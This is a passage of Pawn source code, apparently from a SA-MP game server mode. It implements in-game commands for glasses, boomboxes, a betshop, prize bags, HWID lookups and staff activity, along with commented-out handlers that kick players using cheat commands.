			format(string, sizeof(string), "~r~-$%d", BizzInfo[TooBiz[playerid]][bEntranceCost]);
		   GameTextForPlayer(playerid, string, 5000, 1);
		   PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
			new strmstr[256];
//		  new strmstrr[256];
		  format(strmstr,256,"You've bought glasses id {FF0000}%d{FFFFFF} for {FF0000}%d${FFFFFF}.", id+1, BizzInfo[TooBiz[playerid]][bEntranceCost]);
			SendClientMessage(playerid, COLOR_WHITE, strmstr);
			Eynaki[playerid] = 1;
		  //format(strmstrr,256,"Now you can use this glass every time with: /PutGlasses.");
			//SendClientMessage(playerid, COLOR_WHITE, strmstrr);
			return 1;
		}

		PutPoliceGlasses:

		glasseid = CopGlassesBlack + (id - 31);
		SetPlayerHoldingObject(playerid, glasseid, 2, SkinOffSet[skin][0], floatadd(SkinOffSet[skin][1], 0.004500), SkinOffSet[skin][2], SkinOffSet[skin][3], SkinOffSet[skin][4], SkinOffSet[skin][5]);
		PlayerInfo[playerid][pGlasses] = glasseid;
	   SaveKonVal(playerid, "pGlasses", glasseid);
		GivePlayerPool(playerid, -BizzInfo[TooBiz[playerid]][bEntranceCost]);
		BizzInfo[TooBiz[playerid]][bTill] += BizzInfo[TooBiz[playerid]][bEntranceCost];
		format(string, sizeof(string), "~r~-$%d", BizzInfo[TooBiz[playerid]][bEntranceCost]);
		GameTextForPlayer(playerid, string, 5000, 1);
		PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)

	   new strmstr[256];
//	   new strmstrr[256];
	   format(strmstr,256,"You've bought glasses id {FF0000}%d{FFFFFF} for {FF0000}%d${FFFFFF}.", id+1, BizzInfo[TooBiz[playerid]][bEntranceCost]);
		SendClientMessage(playerid, COLOR_WHITE, strmstr);
		Eynaki[playerid] = 1;
	   //format(strmstrr,256,"Now you can use this glass every time with: /PutGlasses.");
		//SendClientMessage(playerid, COLOR_WHITE, strmstrr);


		   }
		else
		{
				SCM(playerid, COLOR_GREY, "You're not in Cloth Shop.");
				return 1;
			}
		}
		return 1;
	}*/
	// tttt
	// Eynako age dashte bashe mizare cheshesh by SiNaGaMeR
		/*if(!strcmp("/putglasses",cmd,true))
	{
		if(PINFO[playerid][pGlasses] >= 1)
		{
		  if(IsAtjail(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: You can't do it now.");
		  if(Eynaki[playerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't put your glasses on when you putted one.");
		new skin;
			skin = GetPlayerSkin(playerid);
		SetPlayerHoldingObject(playerid, PINFO[playerid][pGlasses], 2, SkinOffSet[skin][0], floatadd(SkinOffSet[skin][1], 0.004500), SkinOffSet[skin][2], SkinOffSet[skin][3], SkinOffSet[skin][4], SkinOffSet[skin][5]);
		SCM(playerid, COLOR_YELLOW2, "You're putted your glasses on.");
		Eynaki[playerid] = 1;
		}
		else return SCM(playerid,COLOR_GREY,"You don't have any glasses to put on that.");
		return 1;
	}*/
	// tttt
	// Eynako age dashte bashe bar midare by SiNaGaMeR
		/*if(!strcmp("/pickupglasses",cmd,true))
	{
		if(PINFO[playerid][pGlasses] >= 1)
		{
		  if(IsAtjail(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: You can't do it now.");
		  if(Eynaki[playerid] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have any glasses on your eyes to pickup that.");
			StopPlayerHoldingObject(playerid);
		   SCM(playerid, COLOR_YELLOW2, "You're picked your glasses up.");
		   Eynaki[playerid] = 0;
		}
		else return SCM(playerid,COLOR_GREY,"You don't have any glasses to pickup that.");
		return 1;
	}*/
	// tttt
	/*
		if(strcmp(cmd, "/maprecord", true) == 0)
		{
	   new sttrr[256];
	   format(sttrr,256,"{FFFFFF}%s wants use maprecord, he/she kicked.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		new sinama[256];
		format(sinama, 256, "Error: This isn't allowed on this server.");
		KickWithMessage(playerid, COLOR_YELLOW2, sinama);
		return 1;
		}
		
	   if(strcmp(cmd, "/maprecorder", true) == 0)
		{
	   new sttrr[256];
	   format(sttrr,256,"{FFFFFF}%s wants use maprecord, he/she kicked.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		new sinama[256];
		format(sinama, 256, "Error: This isn't allowed on this server.");
		KickWithMessage(playerid, COLOR_YELLOW2, sinama);
		return 1;
		}
		
	   if(strcmp(cmd, "/startrecord", true) == 0)
		{
	   new sttrr[256];
	   format(sttrr,256,"{FFFFFF}%s wants use maprecord, he/she kicked.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		new sinama[256];
		format(sinama, 256, "Error: This isn't allowed on this server.");
		KickWithMessage(playerid, COLOR_YELLOW2, sinama);
		return 1;
		}
		
	   if(strcmp(cmd, "/stoprecord", true) == 0)
		{
	   new sttrr[256];
	   format(sttrr,256,"{FFFFFF}%s wants use maprecord, he/she kicked.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		new sinama[256];
		format(sinama, 256, "Error: This isn't allowed on this server.");
		KickWithMessage(playerid, COLOR_YELLOW2, sinama);
		return 1;
		}
		
	   if(strcmp(cmd, "/fakenick", true) == 0)
		{
	   new sttrr[256];
	   format(sttrr,256,"{FFFFFF}%s wants use fakenick, he/she kicked.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		new sinama[256];
		format(sinama, 256, "Error: This isn't allowed on this server.");
		KickWithMessage(playerid, COLOR_YELLOW2, sinama);
		return 1;
		}
		
	   if(strcmp(cmd, "/fakenickname", true) == 0)
		{
	   new sttrr[256];
	   format(sttrr,256,"{FFFFFF}%s wants use fakenick, he/she kicked.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		new sinama[256];
		format(sinama, 256, "Error: This isn't allowed on this server.");
		KickWithMessage(playerid, COLOR_YELLOW2, sinama);
		return 1;
		}
		
		
	   if(strcmp(cmd, "/fakename", true) == 0)
		{
	   new sttrr[256];
	   format(sttrr,256,"{FFFFFF}%s wants use fakenick, he/she kicked.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		new sinama[256];
		format(sinama, 256, "Error: This isn't allowed on this server.");
		KickWithMessage(playerid, COLOR_YELLOW2, sinama);
		return 1;
		}
		
	   if(strcmp(cmd, "/fakechat", true) == 0)
		{
	   new sttrr[256];
	   format(sttrr,256,"{FFFFFF}%s wants use fakechat, he/she kicked.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		new sinama[256];
		format(sinama, 256, "Error: This isn't allowed on this server.");
		KickWithMessage(playerid, COLOR_YELLOW2, sinama);
		return 1;
		}
		
	   if(strcmp(cmd, "/fakeskin", true) == 0)
		{
	   new sttrr[256];
	   format(sttrr,256,"{FFFFFF}%s wants use fakeskin, he/she kicked.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		new sinama[256];
		format(sinama, 256, "Error: This isn't allowed on this server.");
		KickWithMessage(playerid, COLOR_YELLOW2, sinama);
		return 1;
		}
		
	   if(strcmp(cmd, "/killall", true) == 0)
		{
	   new sttrr[256];
	   format(sttrr,256,"{FFFFFF}%s wants use killall, he/she kicked.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		new sinama[256];
		format(sinama, 256, "Error: This isn't allowed on this server.");
		KickWithMessage(playerid, COLOR_YELLOW2, sinama);
		return 1;
		}
		*/

	   if(strcmp(cmd, "/skin", true) == 0)
		{
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		if(PINFO[playerid][pAdmin] < 11 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		ShowModelSelectionMenu(playerid, skinlist, "Skins");
		return 1;
		}

		
		
		
		
		if(!strcmp(cmd, "/insertlink", true))
	{
	if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	 if(IsPlayerConnected(playerid))
	 {
	 if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	 if(BBoxDare[playerid] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have BoomBox.");
	ShowPlayerDialog(playerid,DIALOG_BOOMBOX, DIALOG_STYLE_INPUT,"BoomBox Link","Enter a music link ({FF0000}Make sure that link is right{A9C4E4})","Play","Cancel");
	}
	return 1;
	}
	if(strcmp(cmd, "/rboombox", true) == 0) {
	if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		if(PINFO[playerid][pAdmin] < 4) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	   new sttrr[256];
	   format(sttrr,256,"{FFFFFF}Admin %s has been removed all boomboxes.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		for(new i = 0;i<Akharish;i++) {
		DestroyObject(BoomBoxObject[i]);
		BBoxDare[i] = 0;
		if(MusicAll[i] != 1)
		{
		if(IsPlayerConnected(i)) {
		StopAudioStreamForPlayer(i);
		}
		}
		}
		return 1;
		}
		
					if(strcmp(cmd, "/bet", true) == 0) {
					if(BetShopLock == 1) return SCM(playerid, COLOR_YELLOW2, "Error: The betshop is busy right now.");
					if(CanBet[playerid] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not reserving any section of betshop.");
					if(IsAtjail(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: Prisoners couldn't use betshop.");
					if(PINFO[playerid][pLevel] < 5) return SCM(playerid, COLOR_YELLOW2, "Error: Your level must be +5 to bet.");
					if(GetPlayerPool(playerid) < SBizzInfo[22][sbEntranceCost]) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't cash for bet.");
					ShowPlayerDialog(playerid,1074,DIALOG_STYLE_LIST,"{ff0000}BETSHOP","{00FF78}Money \t\n{FFFA00}Gold","Select","Cancel");
					GivePlayerPool(playerid, -SBizzInfo[22][sbEntranceCost]);
					SBizzInfo[22][sbTill] += SBizzInfo[22][sbEntranceCost];
					new stringz[144];
					format(stringz, 144, "**   {ff0000}-$%i{F5DEB3} for openning bet menu (The business's fee).",SBizzInfo[22][sbEntranceCost]);
					SendMessage(playerid, COLOR_SINARANG, stringz);
					dialogbet[playerid] = 1;
					return 1;
					}
			if(strcmp(cmd, "/betshop", true) == 0) {
		if(PINFO[playerid][pAdmin] < 11) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	   new sttrr[144];
	   if(BetShopLock == 1)
	   {
	   format(sttrr,144,"{FFFFFF}Admin %s has been unlocked the betshop for 10 minutes.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
	   BetShopLock = 0;
	   MoveDynamicObject(betshopgate,2318.98193, -1983.48926, 9.76464, 3);// Baz she
	   betshopl = SetTimer("betshoptime", 600000, 0);
	   SendClientMessageToAll(COLOR_SINARANG, "****   The betshop is now open! Use /findsbiz 22 to go to betshop. (You have 10 minutes)");
	   }
	   else if(BetShopLock == 0)
	   {
	   format(sttrr,144,"{FFFFFF}Admin %s has been locked the betshop.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
	   BetShopLock = 1;
	   MoveDynamicObject(betshopgate,2318.98193, -1983.48926, 14.41991, 3);// Baste she
	   SendClientMessageToAll(COLOR_SINARANG, "****   The betshop is now closed!");
	   for( new i; i < MAX_PLAYERS; i++ )
	   {
	   cooldownbet[i] = 0;
	   if(dialogbet[i] == 1)
	   {
	   ShowPlayerDialog(i, -1, DIALOG_STYLE_MSGBOX, " ", " ", " ", " ");
	   dialogbet[i] = 0;
	   }
	   if(freezeonbet[i] == 1)
	   {
	   TogglePlayerControllable(i, 1);
	   }
	   if(freezeonbetv[i] == 1)
	   {
	   TogglePlayerControllable(i, 1);
	   }
	   
	   }
	   }
		return 1;
		}

		
		
		
		/*
		
				if(strcmp(cmd, "/staffnews", true) == 0)
		{
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(PINFO[playerid][pAdmin] < 6) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				if(PlayerInfo[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				if(PlayerInfo[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new length = strlen(cmdtext);
				while ((idx < length) && (cmdtext[idx] <= ' '))
				{
					idx++;
				}
				new offset = idx;
				new result[144];
				while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
				{
					result[idx - offset] = cmdtext[idx];
					idx++;
				}
				result[idx - offset] = EOS;
				if(!strlen(result)) return SCM(playerid,COL_SYN,"Syntax: /Staffnews <Text>");
				new arank[64];
				if(PlayerInfo[playerid][pAdmin] == 1) { arank = "AdminLvL (1)"; }
				else if(PlayerInfo[playerid][pAdmin] == 2) { arank = "AdminLvL (2)"; }
				else if(PlayerInfo[playerid][pAdmin] == 3) { arank = "AdminLvL (3)"; }
				else if(PlayerInfo[playerid][pAdmin] == 4) { arank = "AdminLvL (4)"; }
				else if(PlayerInfo[playerid][pAdmin] == 5) { arank = "AdminLvL (5)"; }
				else if(PlayerInfo[playerid][pAdmin] == 6) { arank = "Supervisor"; }
				else if(PlayerInfo[playerid][pAdmin] == 7) { arank = "HosterLvl (1)"; }
				else if(PlayerInfo[playerid][pAdmin] == 8) { arank = "HosterLvl (3)"; }
				else if(PlayerInfo[playerid][pAdmin] == 9) { arank = "HosterLvl (6)"; }
				else if(PlayerInfo[playerid][pAdmin] == 10) { arank = "CM Assistant"; } //sssss
				else if(PlayerInfo[playerid][pAdmin] == 11) { arank = "CM Manager"; }
				else if(PlayerInfo[playerid][pAdmin] == 12) { arank = "CM Founder"; }
				else if(PlayerInfo[playerid][pAdmin] == 13) { arank = "CM Scripter"; }
				else { arank = "CM Founder"; }
				format(string, sizeof(string), "{C60000} Staffnews {33CCFF}%s:{FFFFFF} %s {CC3333}", sendername, result);
				if (PlayerInfo[playerid][pAdmin] >= 6)
				{
					SendStaffMessage(COLOR_SINALIGHT, string);
					printf("Staffnews %s: %s", sendername, result);
				}
			}
			return 1;
		}
	*/
		
		
/*
		if(strcmp(cmd, "/ejectme", true) == 0)
		{
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		if(BetShopLock != 0) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command right now.");
		if(freezeonbetv[playerid] != 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command right now.");
		RemovePlayerFromVehicle(playerid);
		if(ghghz[playerid] == 0)
		{
		SetTimerEx("themmz", 5000, 1, "i", playerid);
		//TogglePlayerControllable(playerid, 1);
		//freezeonbetv[playerid] = 0;
		ghghz[playerid] = 1;
		}
		return 1;
		}*/
		/*
		if(strcmp(cmd, "/hungry", true) == 0 || strcmp(cmd, "/greedy", true) == 0)
		{
		if(!PTP(3, playerid, 1147.684936,-933.069763,43.202583)) return SCM(playerid, COLOR_YELLOW2, "Error: You are not at food shop.");
		ShowPlayerDialog(playerid,4573,DIALOG_STYLE_LIST,"Food Shop","Food\t\nDrink","Select","Cancel");
		return 1;
		}
		*/
		
		
		
				if(!strcmp("/gotopb", cmdtext, true))
				{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
					if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
					if(MoneyBagFound) return SCM(playerid, COLOR_YELLOW2, "Error: There isn't any Prize Bag appeared.");
					SetPlayerPos(playerid, MoneyBagPos[0], MoneyBagPos[1] +3, MoneyBagPos[2]);
					SendClientMessage(playerid, COLOR_GRAD1, "You have been teleported to Prize Bag.");
					new admz[100];
					format(admz, sizeof(admz), "{FFFFFF}Admin %s goes to Prize Bag", PlayerInfo[playerid][pName]);
					AdminWarn(admz);
					return 1;
				}
				if(!strcmp("/runpb", cmdtext, true))
				{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
					if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
					if(!MoneyBagFound) return SCM(playerid, COLOR_YELLOW2, "Error: A Prize Bag is already appeared.");
					MoneyBag();
					new admzx[100];
					format(admzx, sizeof(admzx), "{FFFFFF}Admin %s has runned a Prize Bag", PlayerInfo[playerid][pName]);
					AdminWarn(admzx);
					return 1;
				}
				if(!strcmp("/togglepb", cmdtext, true))
				{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
						if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
						new admzxz[144];
						if(Timer[0] == 0)
						{
							KillTimer(Timer[1]);
							Timer[0] = 1;
							format(admzxz, sizeof(admzxz), "{FFFFFF}Admin %s has turned off the automatically Prize Bag appearing", PlayerInfo[playerid][pName]);
							AdminWarn(admzxz);
							return 1;
						}
						if(Timer[0] == 1)
						{
							Timer[1] = SetTimer("MoneyBag", SINACONVERTER(59), true);
							Timer[0] = 0;
							format(admzxz, sizeof(admzxz), "{FFFFFF}Admin %s has turned on the automatically Prize Bag appearing", PlayerInfo[playerid][pName]);
							AdminWarn(admzxz);
							return 1;
						}
					return 1;
				}
				if(!strcmp("/prizebag", cmdtext, true))
				{
				if(MoneyBagFound) return SCM(playerid, COLOR_SINARANG, "*** The Prize Bag was appeared at {ff0000}No Where{F5DEB3} ***");
				new borojelo[144];
				if(!MoneyBagFound) format(borojelo, sizeof(borojelo), "*** The Prize Bag was appeared at {ff0000}%s{F5DEB3} ***", MoneyBagLocation);
				SendClientMessage(playerid, COLOR_SINARANG, borojelo);
				return 1;
				}
		/*
	if(strcmp(cmd, "/hwid", true) == 0)
	{
		if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   tmp = strtok(cmdtext,idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /hwid <PlayerID/PartOfName>");
		new taraf = ReturnUser6(tmp);
		if(!IsPlayerConnected(taraf)) return SCM(playerid, COLOR_YELLOW2, "Error: That player isn't connected.");
		if(PINFO[playerid][pAdmin] < PINFO[taraf][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		new khat[MAX_PLAYERS];
		new rhwid[45];
		new rzhwid[45];
		format(khat, sizeof(khat), "_______________________________[{ffffff}%s{0DC013}]_______________________________", PINFO[taraf][pName]);
		SendClientMessage(playerid, CRISTIAN, khat);
		SendMessage(playerid, COLOR_YELLOW2, "Registered HWID:");
		format(rhwid, sizeof(rhwid), "%s", PINFO[taraf][pRHWID]);
		SendClientMessage(playerid, COLOR_SINARANG, rhwid);
		SendMessage(playerid, COLOR_YELLOW2, "Current HWID:");
		format(rzhwid, sizeof(rzhwid), "%s", PINFO[taraf][pHWID]);
		SendClientMessage(playerid, COLOR_SINARANG, rzhwid);
		SendMessage(playerid, CRISTIAN, "____________________________________________________________");
		return 1;
	}
	*/
	if (strcmp(cmd, "/hwid", true) == 0)
{
if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /hwid <FullName>");
		new query[64];
		mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE pName='%e'",tmp);
		mysql_tquery(handle,query,"onhwidoffline","is",playerid,tmp);
	return 1;
}




	 if (strcmp(cmd, "/colors", true) == 0)
{
	  new manyaoonbegoo[3200];
	  format(manyaoonbegoo, sizeof(manyaoonbegoo),"{FFFFFF}Normal colors:\n");
	 strcat(manyaoonbegoo, "{000000}000 {F5F5F5}001 {2A77A1}002 {840410}003 {263739}004 {86446E}005 {D78E10}006 {4C75B7}007 {BDBEC6}008 {5E7072}009");
	 strcat(manyaoonbegoo, " {46597A}010 {656A79}011 {5D7E8D}012 {58595A}013 {D6DAD6}014 {9CA1A3}015 {335F3F}016 {730E1A}017 {7B0A2A}018 {9F9D94}019");
	 strcat(manyaoonbegoo, " \n{3B4E78}020 {732E3E}021 {691E3B}022 {96918C}023 {515459}024 {3F3E45}025 {A5A9A7}026 {635C5A}027 {3D4A68}028 {979592}029");
	 strcat(manyaoonbegoo, " {421F21}030 {5F272B}031 {8494AB}032 {767B7C}033 {646464}034 {5A5752}035 {252527}036 {2D3A35}037 {93A396}038 {6D7A88}039");
	 strcat(manyaoonbegoo, " \n{221918}040 {6F675F}041 {7C1C2A}042 {5F0A15}043 {193826}044 {5D1B20}045 {9D9872}046 {7A7560}047 {989586}048 {ADB0B0}049");
	 strcat(manyaoonbegoo, " {848988}050 {304F45}051 {4D6268}052 {162248}053 {272F4B}054 {7D6256}055 {9EA4AB}056 {9C8D71}057 {6D1822}058 {4E6881}059");
	 strcat(manyaoonbegoo, " \n{9C9C98}060 {917347}061 {661C26}062 {949D9F}063 {A4A7A5}064 {8E8C46}065 {341A1E}066 {6A7A8C}067 {AAAD8E}068 {AB988F}069");
	 strcat(manyaoonbegoo, " {851F2E}070 {6F8297}071 {585853}072 {9AA790}073 {601A23}074 {20202C}075 {A4A096}076 {AA9D84}077 {78222B}078 {0E316D}079");
	 strcat(manyaoonbegoo, " \n{722A3F}080 {7B715E}081 {741D28}082 {1E2E32}083 {4D322F}084 {7C1B44}085 {2E5B20}086 {395A83}087 {6D2837}088 {A7A28F}089");
	 strcat(manyaoonbegoo, " {AFB1B1}090 {364155}091 {6D6C6E}092 {0F6A89}093 {204B6B}094 {2B3E57}095 {9B9F9D}096 {6C8495}097 {4D8495}098 {AE9B7F}099");
	 strcat(manyaoonbegoo, " \n{406C8F}100 {1F253B}101 {AB9276}102 {134573}103 {96816C}104 {64686A}105 {105082}106 {A19983}107 {385694}108 {525661}109");
	 strcat(manyaoonbegoo, " {7F6956}110 {8C929A}111 {596E87}112 {473532}113 {44624F}114 {730A27}115 {223457}116 {640D1B}117 {A3ADC6}118 {695853}119");
	 strcat(manyaoonbegoo, " \n{9B8B80}120 {620B1C}121 {5B5D5E}122 {624428}123 {731827}124 {1B376D}125 {EC6AAE}126 {000000}127");
	 strcat(manyaoonbegoo, " \n\n{FFFFFF}Hidden colors:\n");
	 strcat(manyaoonbegoo, "{177517}128 {210606}129 {125478}130 {452A0D}131 {571E1E}132 {010701}133 {25225A}134 {2C89AA}135 {8A4DBD}136 {35963A}137");
	 strcat(manyaoonbegoo, " {B7B7B7}138 {464C8D}139 {84888C}140 {817867}141 {817A26}142 {6A506F}143 {583E6F}144 {8CB972}145 {824F78}146 {6D276A}147");
	 strcat(manyaoonbegoo, " \n{1E1D13}148 {1E1306}149 {1F2518}150 {2C4531}151 {1E4C99}152 {2E5F43}153 {1E9948}154 {1E9999}155 {999976}156 {7C8499}157");
	 strcat(manyaoonbegoo, " {992E1E}158 {2C1E08}159 {142407}160 {993E4D}161 {1E4C99}162 {198181}163 {1A292A}164 {16616F}165 {1B6687}166 {6C3F99}167");
	 strcat(manyaoonbegoo, " \n{481A0E}168 {7A7399}169 {746D99}170 {53387E}171 {222407}172 {3E190C}173 {46210E}174 {991E1E}175 {8D4C8D}176 {805B80}177");
	 strcat(manyaoonbegoo, " {7B3E7E}178 {3C1737}179 {733517}180 {781818}181 {83341A}182 {8E2F1C}183 {7E3E53}184 {7C6D7C}185 {020C02}186 {072407}187");
	 strcat(manyaoonbegoo, " \n{163012}188 {16301B}189 {642B4F}190 {368452}191 {999590}192 {818D96}193 {99991E}194 {7F994C}195 {839292}196 {788222}197");
	 strcat(manyaoonbegoo, " {2B3C99}198 {3A3A0B}199 {8A794E}200 {0E1F49}201 {15371C}202 {15273A}203 {375775}204 {060820}205 {071326}206 {20394B}207");
	 strcat(manyaoonbegoo, " \n{2C5089}208 {15426C}209 {103250}210 {241663}211 {692015}212 {8C8D94}213 {516013}214 {090F02}215 {8C573A}216 {52888E}217");
	 strcat(manyaoonbegoo, " {995C52}218 {99581E}219 {993A63}220 {998F4E}221 {99311E}222 {0D1842}223 {521E1E}224 {42420D}225 {4C991E}226 {082A1D}227");
	 strcat(manyaoonbegoo, " \n{96821D}228 {197F19}229 {3B141F}230 {745217}231 {893F8D}232 {7E1A6C}233 {0B370B}234 {27450D}235 {071F24}236 {784573}237");
	 strcat(manyaoonbegoo, " {8A653A}238 {732617}239 {319490}240 {56941D}241 {59163D}242 {1B8A2F}243 {38160B}244 {041804}245 {355D8E}246 {2E3F5B}247");
	 strcat(manyaoonbegoo, " \n{561A28}248 {4E0E27}249 {706C67}250 {3B3E42}251 {2E2D33}252 {7B7E7D}253 {4A4442}254 {28344E}255");
	 ShowPlayerDialog(playerid,8523,DIALOG_STYLE_MSGBOX,"Vehicle Colors List",manyaoonbegoo,"Exit","");
	  return 1;
}
		if(strcmp(cmd, "/resetsactivity", true) == 0)
		{
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		if(PINFO[playerid][pAdmin] < 6) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(PINFO[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		if(PINFO[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		if(PINFO[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
	      {
		    SendMessage(playerid, COL_SYN, "Syntax: /resetsactivity <Playerid/PartOfName>");
		    return 1;
		  }
		  new tarafe;
		tarafe = ReturnUser6(tmp);
		if(PINFO[playerid][pAdmin] < PINFO[tarafe][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		if(PINFO[tarafe][pAdmin] == 0 && PINFO[tarafe][pHelper] == 0 && PINFO[tarafe][pLeader] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: That player isn't in staff team.");
		PlayerInfo[tarafe][pActHour] = 0;
		SaveKonVal(tarafe, "pActHour", 0);
		PlayerInfo[tarafe][pActMin] = 0;
		SaveKonVal(tarafe, "pActMin", 0);
		PlayerInfo[tarafe][pActSec] = 0;
		SaveKonVal(tarafe, "pActSec", 0);
		PlayerInfo[tarafe][pActA] = 0;
		SaveKonVal(tarafe, "pActA", 0);
		PlayerInfo[tarafe][pActH] = 0;
		SaveKonVal(tarafe, "pActH", 0);
		PlayerInfo[tarafe][pActL] = 0;
		SaveKonVal(tarafe, "pActL", 0);
		PlayerInfo[tarafe][pActSecOver] = 0;
		SaveKonVal(tarafe, "pActSecOver", 0);
		PlayerInfo[tarafe][pActMinOver] = 0;
		SaveKonVal(tarafe, "pActMinOver", 0);
		PlayerInfo[tarafe][pActHourOver] = 0;
		SaveKonVal(tarafe, "pActHourOver", 0);
        new stringh[144];
        new admwarn[144];
        format(stringh, 144, "Your staff activity was reset by %s",PINFO[playerid][pName]);
        SendMessage(tarafe, COLOR_Good, stringh);
	    format(admwarn,144,"{FFFFFF}Admin %s has reset %s's staff activity.", PINFO[playerid][pName], PINFO[tarafe][pName]);
	    AdminWarn(admwarn);
		return 1;
		}
		if(strcmp(cmd, "/resetdis", true) == 0)
		{
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		if(PINFO[playerid][pAdmin] < 6) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(PINFO[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		if(PINFO[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		if(PINFO[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		  tmp = strtok(cmdtext, idx);
